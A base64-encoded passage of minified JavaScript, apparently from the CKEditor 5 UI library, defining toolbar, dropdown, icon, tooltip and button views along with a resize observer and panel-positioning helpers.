mdldENvbXB1dGVkU3R5bGUodC5lbGVtZW50KS5kaXNwbGF5IT0ibm9uZSIpfWNsYXNzIE1iIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJzcGFuIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stdG9vbGJhcl9fc2VwYXJhdG9yIl19fSl9fWNsYXNzIFNiIGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJzcGFuIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stdG9vbGJhcl9fbGluZS1icmVhayJdfX0pfX1jb25zdCBUYj0xMDA7Y2xhc3MgSWJ7Y29uc3RydWN0b3IodCxlKXtpZighSWIuX29ic2VydmVySW5zdGFuY2Upe0liLl9jcmVhdGVPYnNlcnZlcigpfXRoaXMuX2VsZW1lbnQ9dDt0aGlzLl9jYWxsYmFjaz1lO0liLl9hZGRFbGVtZW50Q2FsbGJhY2sodCxlKTtJYi5fb2JzZXJ2ZXJJbnN0YW5jZS5vYnNlcnZlKHQpfWRlc3Ryb3koKXtJYi5fZGVsZXRlRWxlbWVudENhbGxiYWNrKHRoaXMuX2VsZW1lbnQsdGhpcy5fY2FsbGJhY2spfXN0YXRpYyBfYWRkRWxlbWVudENhbGxiYWNrKHQsZSl7aWYoIUliLl9lbGVtZW50Q2FsbGJhY2tzKXtJYi5fZWxlbWVudENhbGxiYWNrcz1uZXcgTWFwfWxldCBuPUliLl9lbGVtZW50Q2FsbGJhY2tzLmdldCh0KTtpZighbil7bj1uZXcgU2V0O0liLl9lbGVtZW50Q2FsbGJhY2tzLnNldCh0LG4pfW4uYWRkKGUpfXN0YXRpYyBfZGVsZXRlRWxlbWVudENhbGxiYWNrKHQsZSl7Y29uc3Qgbj1JYi5fZ2V0RWxlbWVudENhbGxiYWNrcyh0KTtpZihuKXtuLmRlbGV0ZShlKTtpZighbi5zaXplKXtJYi5fZWxlbWVudENhbGxiYWNrcy5kZWxldGUodCk7SWIuX29ic2VydmVySW5zdGFuY2UudW5vYnNlcnZlKHQpfX1pZihJYi5fZWxlbWVudENhbGxiYWNrcyYmIUliLl9lbGVtZW50Q2FsbGJhY2tzLnNpemUpe0liLl9vYnNlcnZlckluc3RhbmNlPW51bGw7SWIuX2VsZW1lbnRDYWxsYmFja3M9bnVsbH19c3RhdGljIF9nZXRFbGVtZW50Q2FsbGJhY2tzKHQpe2lmKCFJYi5fZWxlbWVudENhbGxiYWNrcyl7cmV0dXJuIG51bGx9cmV0dXJuIEliLl9lbGVtZW50Q2FsbGJhY2tzLmdldCh0KX1zdGF0aWMgX2NyZWF0ZU9ic2VydmVyKCl7bGV0IHQ7aWYodHlwZW9mIGpkLndpbmRvdy5SZXNpemVPYnNlcnZlcj09PSJmdW5jdGlvbiIpe3Q9amQud2luZG93LlJlc2l6ZU9ic2VydmVyfWVsc2V7dD1OYn1JYi5fb2JzZXJ2ZXJJbnN0YW5jZT1uZXcgdCgodD0+e2Zvcihjb25zdCBlIG9mIHQpe2NvbnN0IHQ9SWIuX2dldEVsZW1lbnRDYWxsYmFja3MoZS50YXJnZXQpO2lmKHQpe2Zvcihjb25zdCBuIG9mIHQpe24oZSl9fX19KSl9fUliLl9vYnNlcnZlckluc3RhbmNlPW51bGw7SWIuX2VsZW1lbnRDYWxsYmFja3M9bnVsbDtjbGFzcyBOYntjb25zdHJ1Y3Rvcih0KXt0aGlzLl9jYWxsYmFjaz10O3RoaXMuX2VsZW1lbnRzPW5ldyBTZXQ7dGhpcy5fcHJldmlvdXNSZWN0cz1uZXcgTWFwO3RoaXMuX3BlcmlvZGljQ2hlY2tUaW1lb3V0PW51bGx9b2JzZXJ2ZSh0KXt0aGlzLl9lbGVtZW50cy5hZGQodCk7dGhpcy5fY2hlY2tFbGVtZW50UmVjdHNBbmRFeGVjdXRlQ2FsbGJhY2soKTtpZih0aGlzLl9lbGVtZW50cy5zaXplPT09MSl7dGhpcy5fc3RhcnRQZXJpb2RpY0NoZWNrKCl9fXVub2JzZXJ2ZSh0KXt0aGlzLl9lbGVtZW50cy5kZWxldGUodCk7dGhpcy5fcHJldmlvdXNSZWN0cy5kZWxldGUodCk7aWYoIXRoaXMuX2VsZW1lbnRzLnNpemUpe3RoaXMuX3N0b3BQZXJpb2RpY0NoZWNrKCl9fV9zdGFydFBlcmlvZGljQ2hlY2soKXtjb25zdCB0PSgpPT57dGhpcy5fY2hlY2tFbGVtZW50UmVjdHNBbmRFeGVjdXRlQ2FsbGJhY2soKTt0aGlzLl9wZXJpb2RpY0NoZWNrVGltZW91dD1zZXRUaW1lb3V0KHQsVGIpfTt0aGlzLmxpc3RlblRvKGpkLndpbmRvdywicmVzaXplIiwoKCk9Pnt0aGlzLl9jaGVja0VsZW1lbnRSZWN0c0FuZEV4ZWN1dGVDYWxsYmFjaygpfSkpO3RoaXMuX3BlcmlvZGljQ2hlY2tUaW1lb3V0PXNldFRpbWVvdXQodCxUYil9X3N0b3BQZXJpb2RpY0NoZWNrKCl7Y2xlYXJUaW1lb3V0KHRoaXMuX3BlcmlvZGljQ2hlY2tUaW1lb3V0KTt0aGlzLnN0b3BMaXN0ZW5pbmcoKTt0aGlzLl9wcmV2aW91c1JlY3RzLmNsZWFyKCl9X2NoZWNrRWxlbWVudFJlY3RzQW5kRXhlY3V0ZUNhbGxiYWNrKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgZSBvZiB0aGlzLl9lbGVtZW50cyl7aWYodGhpcy5faGFzUmVjdENoYW5nZWQoZSkpe3QucHVzaCh7dGFyZ2V0OmUsY29udGVudFJlY3Q6dGhpcy5fcHJldmlvdXNSZWN0cy5nZXQoZSl9KX19aWYodC5sZW5ndGgpe3RoaXMuX2NhbGxiYWNrKHQpfX1faGFzUmVjdENoYW5nZWQodCl7aWYoIXQub3duZXJEb2N1bWVudC5ib2R5LmNvbnRhaW5zKHQpKXtyZXR1cm4gZmFsc2V9Y29uc3QgZT1uZXcgRWgodCk7Y29uc3Qgbj10aGlzLl9wcmV2aW91c1JlY3RzLmdldCh0KTtjb25zdCBpPSFufHwhbi5pc0VxdWFsKGUpO3RoaXMuX3ByZXZpb3VzUmVjdHMuc2V0KHQsZSk7cmV0dXJuIGl9fV9zKE5iLEpkKTtmdW5jdGlvbiBCYih0KXtyZXR1cm4gdC5iaW5kVGVtcGxhdGUudG8oKGU9PntpZihlLnRhcmdldD09PXQuZWxlbWVudCl7ZS5wcmV2ZW50RGVmYXVsdCgpfX0pKX1jbGFzcyBQYiBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO2NvbnN0IGU9dGhpcy5iaW5kVGVtcGxhdGU7dGhpcy5zZXQoImlzVmlzaWJsZSIsZmFsc2UpO3RoaXMuc2V0KCJwb3NpdGlvbiIsInNlIik7dGhpcy5jaGlsZHJlbj10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXJlc2V0IiwiY2stZHJvcGRvd25fX3BhbmVsIixlLnRvKCJwb3NpdGlvbiIsKHQ9PmBjay1kcm9wZG93bl9fcGFuZWxfJHt0fWApKSxlLmlmKCJpc1Zpc2libGUiLCJjay1kcm9wZG93bl9fcGFuZWwtdmlzaWJsZSIpXX0sY2hpbGRyZW46dGhpcy5jaGlsZHJlbixvbjp7c2VsZWN0c3RhcnQ6ZS50bygodD0+dC5wcmV2ZW50RGVmYXVsdCgpKSl9fSl9Zm9jdXMoKXtpZih0aGlzLmNoaWxkcmVuLmxlbmd0aCl7dGhpcy5jaGlsZHJlbi5maXJzdC5mb2N1cygpfX1mb2N1c0xhc3QoKXtpZih0aGlzLmNoaWxkcmVuLmxlbmd0aCl7Y29uc3QgdD10aGlzLmNoaWxkcmVuLmxhc3Q7aWYodHlwZW9mIHQuZm9jdXNMYXN0PT09ImZ1bmN0aW9uIil7dC5mb2N1c0xhc3QoKX1lbHNle3QuZm9jdXMoKX19fX12YXIgemI9bigxNyk7dmFyIExiPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07TGIuaW5zZXJ0PSJoZWFkIjtMYi5zaW5nbGV0b249dHJ1ZTt2YXIgT2I9cmsoKSh6YlsiYSJdLExiKTt2YXIgUmI9emJbImEiXS5sb2NhbHN8fHt9O2Z1bmN0aW9uIGpiKHQpe2lmKCF0fHwhdC5wYXJlbnROb2RlKXtyZXR1cm4gbnVsbH1pZih0Lm9mZnNldFBhcmVudD09PWpkLmRvY3VtZW50LmJvZHkpe3JldHVybiBudWxsfXJldHVybiB0Lm9mZnNldFBhcmVudH1mdW5jdGlvbiBGYih7ZWxlbWVudDp0LHRhcmdldDplLHBvc2l0aW9uczpuLGxpbWl0ZXI6aSxmaXRJblZpZXdwb3J0Om99KXtpZihtdChlKSl7ZT1lKCl9aWYobXQoaSkpe2k9aSgpfWNvbnN0IHI9amIodCk7Y29uc3Qgcz1uZXcgRWgodCk7Y29uc3QgYT1uZXcgRWgoZSk7bGV0IGM7bGV0IGw7aWYoIWkmJiFvKXtbbCxjXT1WYihuWzBdLGEscyl9ZWxzZXtjb25zdCB0PWkmJm5ldyBFaChpKS5nZXRWaXNpYmxlKCk7Y29uc3QgZT1vJiZuZXcgRWgoamQud2luZG93KTtjb25zdCByPVViKG4se3RhcmdldFJlY3Q6YSxlbGVtZW50UmVjdDpzLGxpbWl0ZXJSZWN0OnQsdmlld3BvcnRSZWN0OmV9KTtbbCxjXT1yfHxWYihuWzBdLGEscyl9bGV0IGQ9S2IoYyk7aWYocil7ZD1XYihkLHIpfXJldHVybntsZWZ0OmQubGVmdCx0b3A6ZC50b3AsbmFtZTpsfX1mdW5jdGlvbiBWYih0LGUsbil7Y29uc3QgaT10KGUsbik7aWYoIWkpe3JldHVybiBudWxsfWNvbnN0e2xlZnQ6byx0b3A6cixuYW1lOnN9PWk7cmV0dXJuW3Msbi5jbG9uZSgpLm1vdmVUbyhvLHIpXX1mdW5jdGlvbiBVYih0LGUpe2NvbnN0e2VsZW1lbnRSZWN0Om4sdmlld3BvcnRSZWN0Oml9PWU7Y29uc3Qgbz1uLmdldEFyZWEoKTtjb25zdCByPUhiKHQsZSk7aWYoaSl7Y29uc3QgdD1yLmZpbHRlcigoKHt2aWV3cG9ydEludGVyc2VjdEFyZWE6dH0pPT50PT09bykpO2NvbnN0IGU9R2IodCxvKTtpZihlKXtyZXR1cm4gZX19cmV0dXJuIEdiKHIsbyl9ZnVuY3Rpb24gSGIodCx7dGFyZ2V0UmVjdDplLGVsZW1lbnRSZWN0Om4sbGltaXRlclJlY3Q6aSx2aWV3cG9ydFJlY3Q6b30pe2NvbnN0IHI9W107Y29uc3Qgcz1uLmdldEFyZWEoKTtmb3IoY29uc3QgYSBvZiB0KXtjb25zdCB0PVZiKGEsZSxuKTtpZighdCl7Y29udGludWV9Y29uc3RbYyxsXT10O2xldCBkPTA7bGV0IHU9MDtpZihpKXtpZihvKXtjb25zdCB0PWkuZ2V0SW50ZXJzZWN0aW9uKG8pO2lmKHQpe2Q9dC5nZXRJbnRlcnNlY3Rpb25BcmVhKGwpfX1lbHNle2Q9aS5nZXRJbnRlcnNlY3Rpb25BcmVhKGwpfX1pZihvKXt1PW8uZ2V0SW50ZXJzZWN0aW9uQXJlYShsKX1jb25zdCBoPXtwb3NpdGlvbk5hbWU6Yyxwb3NpdGlvblJlY3Q6bCxsaW1pdGVySW50ZXJzZWN0QXJlYTpkLHZpZXdwb3J0SW50ZXJzZWN0QXJlYTp1fTtpZihkPT09cyl7cmV0dXJuW2hdfXIucHVzaChoKX1yZXR1cm4gcn1mdW5jdGlvbiBHYih0LGUpe2xldCBuPTA7bGV0IGk7bGV0IG87Zm9yKGNvbnN0e3Bvc2l0aW9uTmFtZTpyLHBvc2l0aW9uUmVjdDpzLGxpbWl0ZXJJbnRlcnNlY3RBcmVhOmEsdmlld3BvcnRJbnRlcnNlY3RBcmVhOmN9b2YgdCl7aWYoYT09PWUpe3JldHVybltyLHNdfWNvbnN0IHQ9YyoqMithKioyO2lmKHQ+bil7bj10O2k9cztvPXJ9fXJldHVybiBpP1tvLGldOm51bGx9ZnVuY3Rpb24gV2Ioe2xlZnQ6dCx0b3A6ZX0sbil7Y29uc3QgaT1LYihuZXcgRWgobikpO2NvbnN0IG89eGgobik7dC09aS5sZWZ0O2UtPWkudG9wO3QrPW4uc2Nyb2xsTGVmdDtlKz1uLnNjcm9sbFRvcDt0LT1vLmxlZnQ7ZS09by50b3A7cmV0dXJue2xlZnQ6dCx0b3A6ZX19ZnVuY3Rpb24gS2Ioe2xlZnQ6dCx0b3A6ZX0pe2NvbnN0e3Njcm9sbFg6bixzY3JvbGxZOml9PWpkLndpbmRvdztyZXR1cm57bGVmdDp0K24sdG9wOmUraX19Y2xhc3MgcWIgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0LGUsbil7c3VwZXIodCk7Y29uc3QgaT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLmJ1dHRvblZpZXc9ZTt0aGlzLnBhbmVsVmlldz1uO3RoaXMuc2V0KCJpc09wZW4iLGZhbHNlKTt0aGlzLnNldCgiaXNFbmFibGVkIix0cnVlKTt0aGlzLnNldCgiY2xhc3MiKTt0aGlzLnNldCgiaWQiKTt0aGlzLnNldCgicGFuZWxQb3NpdGlvbiIsImF1dG8iKTt0aGlzLmtleXN0cm9rZXM9bmV3IFZwO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stZHJvcGRvd24iLGkudG8oImNsYXNzIiksaS5pZigiaXNFbmFibGVkIiwiY2stZGlzYWJsZWQiLCh0PT4hdCkpXSxpZDppLnRvKCJpZCIpLCJhcmlhLWRlc2NyaWJlZGJ5IjppLnRvKCJhcmlhRGVzY3JpYmVkQnlJZCIpfSxjaGlsZHJlbjpbZSxuXX0pO2UuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOlsiY2stZHJvcGRvd25fX2J1dHRvbiJdfX0pfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMubGlzdGVuVG8odGhpcy5idXR0b25WaWV3LCJvcGVuIiwoKCk9Pnt0aGlzLmlzT3Blbj0hdGhpcy5pc09wZW59KSk7dGhpcy5wYW5lbFZpZXcuYmluZCgiaXNWaXNpYmxlIikudG8odGhpcywiaXNPcGVuIik7dGhpcy5vbigiY2hhbmdlOmlzT3BlbiIsKCgpPT57aWYoIXRoaXMuaXNPcGVuKXtyZXR1cm59aWYodGhpcy5wYW5lbFBvc2l0aW9uPT09ImF1dG8iKXt0aGlzLnBhbmVsVmlldy5wb3NpdGlvbj1xYi5fZ2V0T3B0aW1hbFBvc2l0aW9uKHtlbGVtZW50OnRoaXMucGFuZWxWaWV3LmVsZW1lbnQsdGFyZ2V0OnRoaXMuYnV0dG9uVmlldy5lbGVtZW50LGZpdEluVmlld3BvcnQ6dHJ1ZSxwb3NpdGlvbnM6dGhpcy5fcGFuZWxQb3NpdGlvbnN9KS5uYW1lfWVsc2V7dGhpcy5wYW5lbFZpZXcucG9zaXRpb249dGhpcy5wYW5lbFBvc2l0aW9ufX0pKTt0aGlzLmtleXN0cm9rZXMubGlzdGVuVG8odGhpcy5lbGVtZW50KTtjb25zdCB0PSh0LGUpPT57aWYodGhpcy5pc09wZW4pe3RoaXMuYnV0dG9uVmlldy5mb2N1cygpO3RoaXMuaXNPcGVuPWZhbHNlO2UoKX19O3RoaXMua2V5c3Ryb2tlcy5zZXQoImFycm93ZG93biIsKCh0LGUpPT57aWYodGhpcy5idXR0b25WaWV3LmlzRW5hYmxlZCYmIXRoaXMuaXNPcGVuKXt0aGlzLmlzT3Blbj10cnVlO2UoKX19KSk7dGhpcy5rZXlzdHJva2VzLnNldCgiYXJyb3dyaWdodCIsKCh0LGUpPT57aWYodGhpcy5pc09wZW4pe2UoKX19KSk7dGhpcy5rZXlzdHJva2VzLnNldCgiYXJyb3dsZWZ0Iix0KTt0aGlzLmtleXN0cm9rZXMuc2V0KCJlc2MiLHQpfWZvY3VzKCl7dGhpcy5idXR0b25WaWV3LmZvY3VzKCl9Z2V0IF9wYW5lbFBvc2l0aW9ucygpe2NvbnN0e3NvdXRoRWFzdDp0LHNvdXRoV2VzdDplLG5vcnRoRWFzdDpuLG5vcnRoV2VzdDppfT1xYi5kZWZhdWx0UGFuZWxQb3NpdGlvbnM7aWYodGhpcy5sb2NhbGUudWlMYW5ndWFnZURpcmVjdGlvbj09PSJsdHIiKXtyZXR1cm5bdCxlLG4saV19ZWxzZXtyZXR1cm5bZSx0LGksbl19fX1xYi5kZWZhdWx0UGFuZWxQb3NpdGlvbnM9e3NvdXRoRWFzdDp0PT4oe3RvcDp0LmJvdHRvbSxsZWZ0OnQubGVmdCxuYW1lOiJzZSJ9KSxzb3V0aFdlc3Q6KHQsZSk9Pih7dG9wOnQuYm90dG9tLGxlZnQ6dC5sZWZ0LWUud2lkdGgrdC53aWR0aCxuYW1lOiJzdyJ9KSxub3J0aEVhc3Q6KHQsZSk9Pih7dG9wOnQudG9wLWUuaGVpZ2h0LGxlZnQ6dC5sZWZ0LG5hbWU6Im5lIn0pLG5vcnRoV2VzdDoodCxlKT0+KHt0b3A6dC5ib3R0b20tZS5oZWlnaHQsbGVmdDp0LmxlZnQtZS53aWR0aCt0LndpZHRoLG5hbWU6Im53In0pfTtxYi5fZ2V0T3B0aW1hbFBvc2l0aW9uPUZiO3ZhciBZYj1uKDE4KTt2YXIgUWI9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtRYi5pbnNlcnQ9ImhlYWQiO1FiLnNpbmdsZXRvbj10cnVlO3ZhciAkYj1yaygpKFliWyJhIl0sUWIpO3ZhciBKYj1ZYlsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgWmIgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcigpe3N1cGVyKCk7Y29uc3QgdD10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldCgiY29udGVudCIsIiIpO3RoaXMuc2V0KCJ2aWV3Qm94IiwiMCAwIDIwIDIwIik7dGhpcy5zZXQoImZpbGxDb2xvciIsIiIpO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoic3ZnIixuczoiaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1pY29uIl0sdmlld0JveDp0LnRvKCJ2aWV3Qm94Iil9fSl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7dGhpcy5fdXBkYXRlWE1MQ29udGVudCgpO3RoaXMuX2NvbG9yRmlsbFBhdGhzKCk7dGhpcy5vbigiY2hhbmdlOmNvbnRlbnQiLCgoKT0+e3RoaXMuX3VwZGF0ZVhNTENvbnRlbnQoKTt0aGlzLl9jb2xvckZpbGxQYXRocygpfSkpO3RoaXMub24oImNoYW5nZTpmaWxsQ29sb3IiLCgoKT0+e3RoaXMuX2NvbG9yRmlsbFBhdGhzKCl9KSl9X3VwZGF0ZVhNTENvbnRlbnQoKXtpZih0aGlzLmNvbnRlbnQpe2NvbnN0IHQ9KG5ldyBET01QYXJzZXIpLnBhcnNlRnJvbVN0cmluZyh0aGlzLmNvbnRlbnQudHJpbSgpLCJpbWFnZS9zdmcreG1sIik7Y29uc3QgZT10LnF1ZXJ5U2VsZWN0b3IoInN2ZyIpO2NvbnN0IG49ZS5nZXRBdHRyaWJ1dGUoInZpZXdCb3giKTtpZihuKXt0aGlzLnZpZXdCb3g9bn10aGlzLmVsZW1lbnQuaW5uZXJIVE1MPSIiO3doaWxlKGUuY2hpbGROb2Rlcy5sZW5ndGg+MCl7dGhpcy5lbGVtZW50LmFwcGVuZENoaWxkKGUuY2hpbGROb2Rlc1swXSl9fX1fY29sb3JGaWxsUGF0aHMoKXtpZih0aGlzLmZpbGxDb2xvcil7dGhpcy5lbGVtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5jay1pY29uX19maWxsIikuZm9yRWFjaCgodD0+e3Quc3R5bGUuZmlsbD10aGlzLmZpbGxDb2xvcn0pKX19fXZhciBYYj1uKDE5KTt2YXIgdHc9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTt0dy5pbnNlcnQ9ImhlYWQiO3R3LnNpbmdsZXRvbj10cnVlO3ZhciBldz1yaygpKFhiWyJhIl0sdHcpO3ZhciBudz1YYlsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgaXcgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLnNldCgidGV4dCIsIiIpO3RoaXMuc2V0KCJwb3NpdGlvbiIsInMiKTtjb25zdCBlPXRoaXMuYmluZFRlbXBsYXRlO3RoaXMuc2V0VGVtcGxhdGUoe3RhZzoic3BhbiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXRvb2x0aXAiLGUudG8oInBvc2l0aW9uIiwodD0+ImNrLXRvb2x0aXBfIit0KSksZS5pZigidGV4dCIsImNrLWhpZGRlbiIsKHQ9PiF0LnRyaW0oKSkpXX0sY2hpbGRyZW46W3t0YWc6InNwYW4iLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay10b29sdGlwX190ZXh0Il19LGNoaWxkcmVuOlt7dGV4dDplLnRvKCJ0ZXh0Iil9XX1dfSl9fXZhciBvdz1uKDIwKTt2YXIgcnc9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtydy5pbnNlcnQ9ImhlYWQiO3J3LnNpbmdsZXRvbj10cnVlO3ZhciBzdz1yaygpKG93WyJhIl0scncpO3ZhciBhdz1vd1siYSJdLmxvY2Fsc3x8e307Y2xhc3MgY3cgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTtjb25zdCBlPXRoaXMuYmluZFRlbXBsYXRlO2NvbnN0IG49bnMoKTt0aGlzLnNldCgiY2xhc3MiKTt0aGlzLnNldCgibGFiZWxTdHlsZSIpO3RoaXMuc2V0KCJpY29uIik7dGhpcy5zZXQoImlzRW5hYmxlZCIsdHJ1ZSk7dGhpcy5zZXQoImlzT24iLGZhbHNlKTt0aGlzLnNldCgiaXNWaXNpYmxlIix0cnVlKTt0aGlzLnNldCgiaXNUb2dnbGVhYmxlIixmYWxzZSk7dGhpcy5zZXQoImtleXN0cm9rZSIpO3RoaXMuc2V0KCJsYWJlbCIpO3RoaXMuc2V0KCJ0YWJpbmRleCIsLTEpO3RoaXMuc2V0KCJ0b29sdGlwIik7dGhpcy5zZXQoInRvb2x0aXBQb3NpdGlvbiIsInMiKTt0aGlzLnNldCgidHlwZSIsImJ1dHRvbiIpO3RoaXMuc2V0KCJ3aXRoVGV4dCIsZmFsc2UpO3RoaXMuc2V0KCJ3aXRoS2V5c3Ryb2tlIixmYWxzZSk7dGhpcy5jaGlsZHJlbj10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLnRvb2x0aXBWaWV3PXRoaXMuX2NyZWF0ZVRvb2x0aXBWaWV3KCk7dGhpcy5sYWJlbFZpZXc9dGhpcy5fY3JlYXRlTGFiZWxWaWV3KG4pO3RoaXMuaWNvblZpZXc9bmV3IFpiO3RoaXMuaWNvblZpZXcuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOiJjay1idXR0b25fX2ljb24ifX0pO3RoaXMua2V5c3Ryb2tlVmlldz10aGlzLl9jcmVhdGVLZXlzdHJva2VWaWV3KCk7dGhpcy5iaW5kKCJfdG9vbHRpcFN0cmluZyIpLnRvKHRoaXMsInRvb2x0aXAiLHRoaXMsImxhYmVsIix0aGlzLCJrZXlzdHJva2UiLHRoaXMuX2dldFRvb2x0aXBTdHJpbmcuYmluZCh0aGlzKSk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJidXR0b24iLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1idXR0b24iLGUudG8oImNsYXNzIiksZS5pZigiaXNFbmFibGVkIiwiY2stZGlzYWJsZWQiLCh0PT4hdCkpLGUuaWYoImlzVmlzaWJsZSIsImNrLWhpZGRlbiIsKHQ9PiF0KSksZS50bygiaXNPbiIsKHQ9PnQ/ImNrLW9uIjoiY2stb2ZmIikpLGUuaWYoIndpdGhUZXh0IiwiY2stYnV0dG9uX3dpdGgtdGV4dCIpLGUuaWYoIndpdGhLZXlzdHJva2UiLCJjay1idXR0b25fd2l0aC1rZXlzdHJva2UiKV0sdHlwZTplLnRvKCJ0eXBlIiwodD0+dD90OiJidXR0b24iKSksdGFiaW5kZXg6ZS50bygidGFiaW5kZXgiKSwiYXJpYS1sYWJlbGxlZGJ5IjpgY2stZWRpdG9yX19hcmlhLWxhYmVsXyR7bn1gLCJhcmlhLWRpc2FibGVkIjplLmlmKCJpc0VuYWJsZWQiLHRydWUsKHQ9PiF0KSksImFyaWEtcHJlc3NlZCI6ZS50bygiaXNPbiIsKHQ9PnRoaXMuaXNUb2dnbGVhYmxlP1N0cmluZyh0KTpmYWxzZSkpfSxjaGlsZHJlbjp0aGlzLmNoaWxkcmVuLG9uOnttb3VzZWRvd246ZS50bygodD0+e3QucHJldmVudERlZmF1bHQoKX0pKSxjbGljazplLnRvKCh0PT57aWYodGhpcy5pc0VuYWJsZWQpe3RoaXMuZmlyZSgiZXhlY3V0ZSIpfWVsc2V7dC5wcmV2ZW50RGVmYXVsdCgpfX0pKX19KX1yZW5kZXIoKXtzdXBlci5yZW5kZXIoKTtpZih0aGlzLmljb24pe3RoaXMuaWNvblZpZXcuYmluZCgiY29udGVudCIpLnRvKHRoaXMsImljb24iKTt0aGlzLmNoaWxkcmVuLmFkZCh0aGlzLmljb25WaWV3KX10aGlzLmNoaWxkcmVuLmFkZCh0aGlzLnRvb2x0aXBWaWV3KTt0aGlzLmNoaWxkcmVuLmFkZCh0aGlzLmxhYmVsVmlldyk7aWYodGhpcy53aXRoS2V5c3Ryb2tlKXt0aGlzLmNoaWxkcmVuLmFkZCh0aGlzLmtleXN0cm9rZVZpZXcpfX1mb2N1cygpe3RoaXMuZWxlbWVudC5mb2N1cygpfV9jcmVhdGVUb29sdGlwVmlldygpe2NvbnN0IHQ9bmV3IGl3O3QuYmluZCgidGV4dCIpLnRvKHRoaXMsIl90b29sdGlwU3RyaW5nIik7dC5iaW5kKCJwb3NpdGlvbiIpLnRvKHRoaXMsInRvb2x0aXBQb3NpdGlvbiIpO3JldHVybiB0fV9jcmVhdGVMYWJlbFZpZXcodCl7Y29uc3QgZT1uZXcgdGI7Y29uc3Qgbj10aGlzLmJpbmRUZW1wbGF0ZTtlLnNldFRlbXBsYXRlKHt0YWc6InNwYW4iLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1idXR0b25fX2xhYmVsIl0sc3R5bGU6bi50bygibGFiZWxTdHlsZSIpLGlkOmBjay1lZGl0b3JfX2FyaWEtbGFiZWxfJHt0fWB9LGNoaWxkcmVuOlt7dGV4dDp0aGlzLmJpbmRUZW1wbGF0ZS50bygibGFiZWwiKX1dfSk7cmV0dXJuIGV9X2NyZWF0ZUtleXN0cm9rZVZpZXcoKXtjb25zdCB0PW5ldyB0Yjt0LnNldFRlbXBsYXRlKHt0YWc6InNwYW4iLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1idXR0b25fX2tleXN0cm9rZSJdfSxjaGlsZHJlbjpbe3RleHQ6dGhpcy5iaW5kVGVtcGxhdGUudG8oImtleXN0cm9rZSIsKHQ9PmpsKHQpKSl9XX0pO3JldHVybiB0fV9nZXRUb29sdGlwU3RyaW5nKHQsZSxuKXtpZih0KXtpZih0eXBlb2YgdD09InN0cmluZyIpe3JldHVybiB0fWVsc2V7aWYobil7bj1qbChuKX1pZih0IGluc3RhbmNlb2YgRnVuY3Rpb24pe3JldHVybiB0KGUsbil9ZWxzZXtyZXR1cm5gJHtlfSR7bj9gICgke259KWA6IiJ9YH19fXJldHVybiIifX12YXIgbHc9Jzxzdmcgdmlld0JveD0iMCAwIDEwIDEwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0uOTQxIDQuNTIzYS43NS43NSAwIDEgMSAxLjA2LTEuMDZsMy4wMDYgMy4wMDUgMy4wMDUtMy4wMDVhLjc1Ljc1IDAgMSAxIDEuMDYgMS4wNmwtMy41NDkgMy41NWEuNzUuNzUgMCAwIDEtMS4xNjgtLjEzNkwuOTQxIDQuNTIzeiIvPjwvc3ZnPic7Y2xhc3MgZHcgZXh0ZW5kcyBjd3tjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLmFycm93Vmlldz10aGlzLl9jcmVhdGVBcnJvd1ZpZXcoKTt0aGlzLmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOnsiYXJpYS1oYXNwb3B1cCI6dHJ1ZX19KTt0aGlzLmRlbGVnYXRlKCJleGVjdXRlIikudG8odGhpcywib3BlbiIpfXJlbmRlcigpe3N1cGVyLn